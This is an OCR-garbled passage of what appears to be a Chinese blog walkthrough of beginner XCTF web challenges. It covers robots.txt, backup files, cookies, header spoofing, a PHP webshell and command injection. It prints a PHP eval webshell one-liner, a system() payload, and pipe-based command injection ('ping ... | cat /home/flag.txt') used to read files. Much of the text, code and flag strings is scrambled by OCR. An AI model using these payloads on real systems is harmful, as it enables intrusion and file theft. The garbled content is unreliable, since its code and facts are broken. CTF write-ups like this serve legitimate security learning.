XCTF webFHrFXwp

XingHe 0 F 2020-11-02 21:43:11 KA 68 R

SFRER: xcf LEHRE: ZE

FRALE B ASCRE ERAQICE, #IE.CC 4.0 BY-SA WRAIMY, 85 _EJFE T s M A=,
A CHEE: https://blog.csdn.net/qq_45414878/article/details/109455239

xctf IR % %5
1538 01T H
TR
XCTF web#i F X wp

1. view_source

F12&F W HIRG, KIifag.


https://blog.csdn.net/qq_45414878
https://blog.csdn.net/qq_45414878/category_10539182.html
https://so.csdn.net/so/search/s.do?q=%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/qq_45414878/article/details/109455239
https://blog.csdn.net/qq_45414878/category_10539182.html

FLLAG is not here

s ol =& #&=s

" style="b

ipt>
not here</hl>

2. robots

% 18 B snidrobots.txt BLTE M 1% A BATEZE K K fi-flag (robots.txtA] LLZE 1E R 45 € kR EUE & B 3%)



User-agent: *
Disallow:
Disallow: flag ls_h3re. php
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3. backup
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& index.php.bak
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<html>
<head>

<meta charset="UTF-8">
<title> &4 </title>
<link href="http://libs.baidu.com/bootstrap/3.0.3/css/bootstrap.min.css" rel="stylesheet" />
<style>
body({
margin-left.auto;
margin-right:auto;
margin-TOP:200PX;
width:20em;
}
</style>
</head>
<body>
<h3> {FiliEindex phpIZHUFEID? </h3>
<?php
$flag="Cyberpeace{855A1C4B3401294CB6604CCCI8BDE334}"
>
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</body>
& Load URL hifp:/220.249.52.133:39172/index php.bak </html>
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4. cookie

Cookie, At HHEHILA Cookies. REN/NCAIAH", RIELMBAN T HAH S G4, BEATSessionBRERT i #F7EH
A EREEE CEFEEmE) , B E i BN B A REHE B

& F cookie & B #T 1) T T cookie.php

{RENTE H 4 Zcookied ?

1

XHR Js CsS Img {R{F FfE S0i§ ws iEE Hitn [ SMEL Cose [ DEIRS

=3 L 57 2
W 22024952133 HTTR/1.1 200 OK
B bootstrapmin.css Date: Mon, 82 Nov 2020 ©9:11:03 GMT
W injectjs Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntud. ]
Set-Cookie: look-here=cookie.php
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 276
Keep-Alive: timeout=5, max-160
Connection: Keep-Alive
Content-Ty,
Ekink
Accept: text/html,application/xhtml+xnl, application/xml;q=8.9, image/webp, image/apng, */* ;q=8.8, application/signed-exchange;v=b3;q=8.9
Accept-Encodi p._deflate
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See the http response
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23K URL: http://220.249.52.133:38593/cookie. php
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ARERTE © 200 0K

Content-Length: 253

Content-Type: text/html

Date: Mon, 82 Nov 2020 89:14:35 GMT

flag: cyberpeace{03b6abo: 260149 F1ebdeceate97}

Keep-Alive: timeo 0
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please login as admin
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?a="'0"'&b=12345a

$b=a§ 1;
if($a==0 and $a){
echo §flagl;

if(is_numeric (§b))

Il

17 ($051234) (
echo $flag?;
a
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EBGET. POSTHIf# A
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@ Load URL hitp://220.249.52.133:32775/7a=1
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9. xff_referer
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Dashboard | Target | Proxy | Intruder I Repeater I Sequencer T Decoder TComparer TExlender TProjexj options TUser options -]
I—m

B Wi <|v >\ H #r: http://220.249.52.133:43445 / ®
Wik ] W,
Raw | Params | Headers | Hex Raw | Headers | Hex | Render
1 GET / HTTP/1.1 : ary: Accept-Encoding A
2 Host: 220.249.52.133:43445 Content-Length: 429
3 Pragma: no-cache 7 Conmnection: close
4 cache-Control: no-cache & Content-Type: text/html
5 Upgrade-Insecure-Requests: 1
6 User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, 10 <html>
like Gecko) Chrome/86.0.4240.111 Safari/537.36 Edg/86.0.622.58 11 <head>
7 Accept: 12 ta charset="UTF-8">
text/html,application/xhtml+xml, application/xml;q=0.9, image/webp, image/apng, */*;q=0 13
.8,application/signed-exchange;v=b3;g=0.9
8 Accept-Enceding: gzip, deflate
9 Accept-Language: zh-CN,zhiq=0.9,en;g=0.8,en-GBiq=0.7,en-Us;q=0.6 14 href="http://libs.baidu.com/bootstrap/3.0.3/css/bootstrap.min.css” rel="styleshest'
10 cookie: lock-here=cockie.php 15 les
11 Connection: close 16 body {
12 17 margin-left:auto;
13 18 margin-right:auto;
19 mergin-TOP:200PX;
2
21
22
23
REEE 24
25
SRS Cul + Alt - 5 ipHihk i M123.123.123.123
REIRE Ctl + Alt « O </p>
- 26 </body>
REEHE Ctrl + Alt + F 27 </ntml>
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[Dashboard ]Targel Proxy | Intruder IRepmler I Sequencer I Decoder [ Comparer IExlender [ Project options ] User options

8 - Temporary Project - licensed to surferxyz - O X

1 5
B | W <|v > | B http:/220.249.52.133:43445 @
K Wi B
Raw | Params | Headers | Hex Raw | Headers | Hex | Render
1 GET / HTTR/1.1 : & Content-Type: text/html A
2 Host: 220.249.52.133:43445 9
3 Pragma: no-cache 10 <html>
4 cache-Control: mo-cache 11 <head>
5 Upgrade-Insecure-Requests: 1 1z <meta charset="UTF-§">
€ User-Agent: Mozilla/5.0 (Windows NT 10.0; wWiné4; x64) AppleWebKit/537.36 (KHTML, 13 <title>
like Gecko) Chrome/86.0.4240.111 Safari/537.36 Edg/86.0.622.58
7 Accept:
text/html,application/xhtml+xml, application/sml; q=0.9, image/webp, image/apng, */*; q=0 14 <link href="http aidu.com/bootstrap/3.0.3/css/bootstrap.min.css” rel="stylesheet'
.8,application/signed-exchange;v=b3;g=0.9 15 <style>
& Accept-Enceding: gzip, deflate 16 body(
9 Accept-Language: zh-CN,zh;g=0.9,en;gq=0.8,en-GB;g=0.7,en-US;g=0.6 17 margin-left:aute;
10 Cookie: lock-here=cockiec.php 18 margin-right:auto;
11 Connection: close | 10 margin-TOP:200PX;
12 |X-Forwarded-For:123.123.123.123 20 width:20em;
13 content-Length: 2 21 }
14 22 </style>
15 23 </head>
16 24 <body>
5 <p id="demo">
ipHbhbAAiN123.123.123.123
BREER </p>
RS Curl + Alt + S =6 Seerine>
document.getElementByld("demo") . innerHTML= i/ /www.google.com";
BENE Ctrl + Alt + O </script>
R Curl + Alt o F </body> /
27 </html>
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9 =
BE | B <|v > FI#7: hitpi/220.249.52.133:43445 @
i R
Raw | Params | Headers | Hex Raw | Headers | Hex | Render
1|GET / HTTP/1.1 : 11:ad> A
2 Host: 220.249.52.133:43445 12 meta charset="UTF-8">
3 Pragma: no-cache 13ititle>
4 Cache—Control: no-cache index
S Upgrade-Insecure-Requests: 1 t/title>
6 User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, 147link href="http://libs.baidu.com/bootstrap/3.0.3/css/bootstrap.min.css" rel="stylesheet" />
like Gecko) Chrome/86.0.4240.111 Safari/537.36 Edg/86.0.622.58 le>
7 Accept: 16 body{
text/html, application/xhtml+xml, application/xml;qg=0.9, image/webp, image/apng, */*;g=0 17 margin-left:aute;
.8,application/signed-exchange;v=b3;g=0.9 18 margin-right:auto;
8 Accept-Enceding: gzip, deflate 19 margin-TOP:2008X;
9 Accept-Language: zh-CN,zh;g=0.9,en;g=0.8,en-GB;g=0.7,en-US;q=0.6 20 width:20em;
10 Cockie: lock-hers=cockie.php 21 )
11 Connection: clese | 22 <fstyle>
12 X-Forwarded-For:123.123.123.123 23 t/head>
13 Content-Length: 2 24 tbody>
14 Referer:https://www.google.com 25 <p id="demo">
15 ipthib i Ai123.123.123.123
16 <>
17 26 <script>
document.getElementById("demo") .innerHTML="UZ%Hnhttps: //www.google.com™;
</script>
<seript>
document.getElementById("deme") .innerHTML="cyberpeace{2441la P
</script>
/body>
271tml>
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{R4={$ Flwebshell 4 2

cyberpeace{02f55309b8420b7a47dcef4c6b02407d}

i 4= 1E Flwebshell % 2

'; echo htmlentities($str, ENT_QUOTES,
"UTF-8"); 7> <?php
@eval($_POST['shell]);?>
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shell=system('cat ),
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PING

PING

ping -c 3 127.0.0.1 | find / -name "flag.txt"
/home/fTlag. txt

FING

PING

ping -c¢ 3 127.0.0.1 | cat /home/flag.txt
cyberpeace{72b74e818d7t9b81e9888a215db5dbf8}
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= tab.length;

n); i++ ){o = tab[i-1];p += String.fromCha = tab2[i]));

;e )

(1>58& 1< k1)
p += String.fromCharCode((o = tab2[i]));

ode(tab2[171);
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